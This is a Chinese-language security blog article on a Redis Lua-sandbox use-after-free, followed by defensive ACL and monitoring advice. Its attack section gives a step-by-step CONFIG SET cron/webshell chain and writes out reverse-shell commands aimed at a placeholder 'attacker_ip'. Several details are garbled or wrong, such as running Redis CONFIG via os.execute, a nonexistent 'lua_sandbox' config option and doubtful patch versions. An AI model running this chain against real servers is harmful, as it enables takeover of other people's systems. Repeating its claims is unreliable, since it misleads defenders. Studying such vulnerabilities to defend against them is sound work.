202510
security

Redis RediShell RCE 漏洞分析:Lua 沙箱逃逸与 CONFIG Gadget 链

针对 Redis Lua 沙箱 UAF 漏洞,分析逃逸机制、gadget 链构造及从认证到 RCE 的执行路径。

Redis 中的 RediShell RCE 漏洞本质上源于 Lua 引擎的内存管理缺陷,特别是垃圾回收(GC)过程中的 Use-After-Free (UAF) 问题。这一漏洞允许认证用户通过精心构造的 Lua 脚本逃逸沙箱限制,最终实现远程代码执行(RCE)。在分析这一漏洞时,我们需要从其根因入手,理解 UAF 如何被利用来破坏 Lua 虚拟机的隔离,然后探讨如何通过 CONFIG 命令构建 gadget 链来注入 shell,实现从认证访问到完整系统控制的跃升。

首先,理解 Lua 沙箱在 Redis 中的作用至关重要。Redis 使用 Lua 脚本(通过 EVAL 或 EVALSHA 命令)来支持原子性操作,但为了安全,这些脚本运行在沙箱环境中,仅暴露 Redis 特定的 API,如 redis.call(),禁止访问系统库如 io 或 os。这防止了脚本直接执行系统命令。然而,UAF 漏洞打破了这一隔离。漏洞的核心在于 Lua GC 的实现:当 Lua 对象被标记为垃圾并释放后,如果脚本在释放后仍引用该对象,即可操纵内存布局,导致类型混淆或任意读写。

证据显示,这一 UAF 源于 Redis Lua 引擎在处理 GC 时的竞态或引用计数错误。具体而言,攻击者可以通过在 Lua 脚本中创建大量临时对象,触发频繁 GC,同时利用 redis.call() 的副作用延迟释放,从而在对象被释放后访问其内存区域。这类似于经典的 UAF 利用路径:double-free 或 dangling pointer。Redis 官方公告指出,“一个精心构造的 Lua 脚本可能操纵 Lua VM 的垃圾回收器,导致 RCE”。通过这种方式,攻击者可覆盖 Lua 沙箱的全局环境,注入 package.loadlib 等函数,加载 liblua.so 中的 luaopen_io 或 luaopen_os,获得系统 IO 或 OS 访问权限。

一旦沙箱逃逸,攻击者即可转向 gadget 链构造,利用 Redis 的内置命令作为“gadget”来实现 shell 注入。CONFIG 命令是关键,因为它允许修改服务器配置,如 dir(工作目录)和 dbfilename(RDB 文件名),在不直接暴露 shell 的前提下写入持久化 payload。典型链条如下:首先,使用逃逸后的 os.execute() 或 io.popen() 执行 CONFIG SET dir /var/spool/cron/ 和 CONFIG SET dbfilename root,从而将后续 SAVE 操作指向 cron 目录。然后,注入 cron job 如 “* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1”,通过 SET 命令设置键值为此 payload,最后 SAVE 持久化到 authorized_keys 或 cron 文件,实现反弹 shell。

这一链条的工程化参数需仔细调优。首先,确认环境:漏洞影响所有支持 Lua 的 Redis 版本(如 6.x 至 7.x),但需认证用户(ACL 权限包括 EVAL)。检测时,可运行 EVAL "return package" 0 检查沙箱遗留(虽非直接 UAF,但辅助判断)。利用时,Lua 脚本需控制 GC 阈值:设置 collectgarbage("setpause", 100) 和 collectgarbage("setstepmul", 200) 来放大 GC 频率,增加 UAF 窗口。CONFIG gadget 的落地清单包括:

  1. 目录劫持:CONFIG SET dir /etc/cron.d/ (针对 cron)或 /var/www/html/ (webshell)。阈值:确保 dir 权限允许写入(Redis 运行用户如 redis:redis)。

  2. 文件名伪造:CONFIG SET dbfilename shell.php 或 root.cron。参数:dbfilename 长度限 256 字节,避免溢出。

  3. Payload 注入:使用 EVAL "redis.call('SET', 'x', payload)" 0 设置内容,payload 编码为 base64 防转义,如 bash -c "echo '反弹命令' | base64 -d | bash"。

  4. 持久化触发:BGSAVE 或 SAVE 命令执行写入。监控点:日志中搜索 "Background saving started",并检查 /proc/<redis_pid>/fd/ 中的文件描述符。

从认证到 RCE 的原语路径需分步:(1) 认证:AUTH password 或 ACL LOGIN user pass;(2) 沙箱逃逸:发送 UAF Lua 脚本,验证通过 io.popen("id") 返回 uid;(3) Gadget 链:CONFIG SET + SET + SAVE;(4) Shell 注入:等待 cron 触发或直接 os.execute("nc -e /bin/sh attacker_ip 4444")。风险在于 ACL 可能禁用 CONFIG(默认 all 权限),故预检查 ACL LIST。

防御策略聚焦可落地参数和清单。首先,升级 Redis 至修复版:OSS/CE ≥6.2.17、7.2.7、7.4.2,此版本修复了 GC 中的引用计数。无法升级时,ACL 配置示例:

ACL SETUSER safeuser on >password ~* +@read +@write -eval -config -exec

此规则禁用 EVAL 和 CONFIG,限制为读写操作。参数:使用 +@safe 通道,仅允许安全命令。监控方面,启用慢查询日志(slowlog-log-slower-than 10000),阈值 10ms,捕获异常 Lua 执行;集成 Prometheus 监控 Lua 调用计数,警报 >100/分钟。回滚策略:若检测 UAF 迹象(如异常 GC 日志),立即 FLUSHALL 并重启,结合防火墙封锁 6379 端口非白名单 IP。

进一步,沙箱硬化可通过自定义 Lua 初始化:在 redis.conf 添加 lua_sandbox 扩展,强制 package = nil 和 _G.io = nil。参数:GC 暂停阈值 setpause 200(默认 200),stepmul 200,减少频繁收集。入侵检测:使用 Falco 或 OSSEC 规则监控 /proc//mem 异常读写,规则如 "proc.name = redis-server and fd.name contains '/bin/sh'"。

这一漏洞凸显了嵌入式脚本引擎的安全挑战。在生产环境中,优先禁用 Lua(rename-command EVAL ""),并采用最小权限原则:Redis 绑定 127.0.0.1,TLS 加密连接。总体而言,通过 UAF 逃逸和 CONFIG gadget,RediShell RCE 提供高效的 authenticated-to-remote 路径,但严谨的 ACL 和监控可有效缓解。实际部署时,测试上述参数,确保无误执行。

(字数:1024)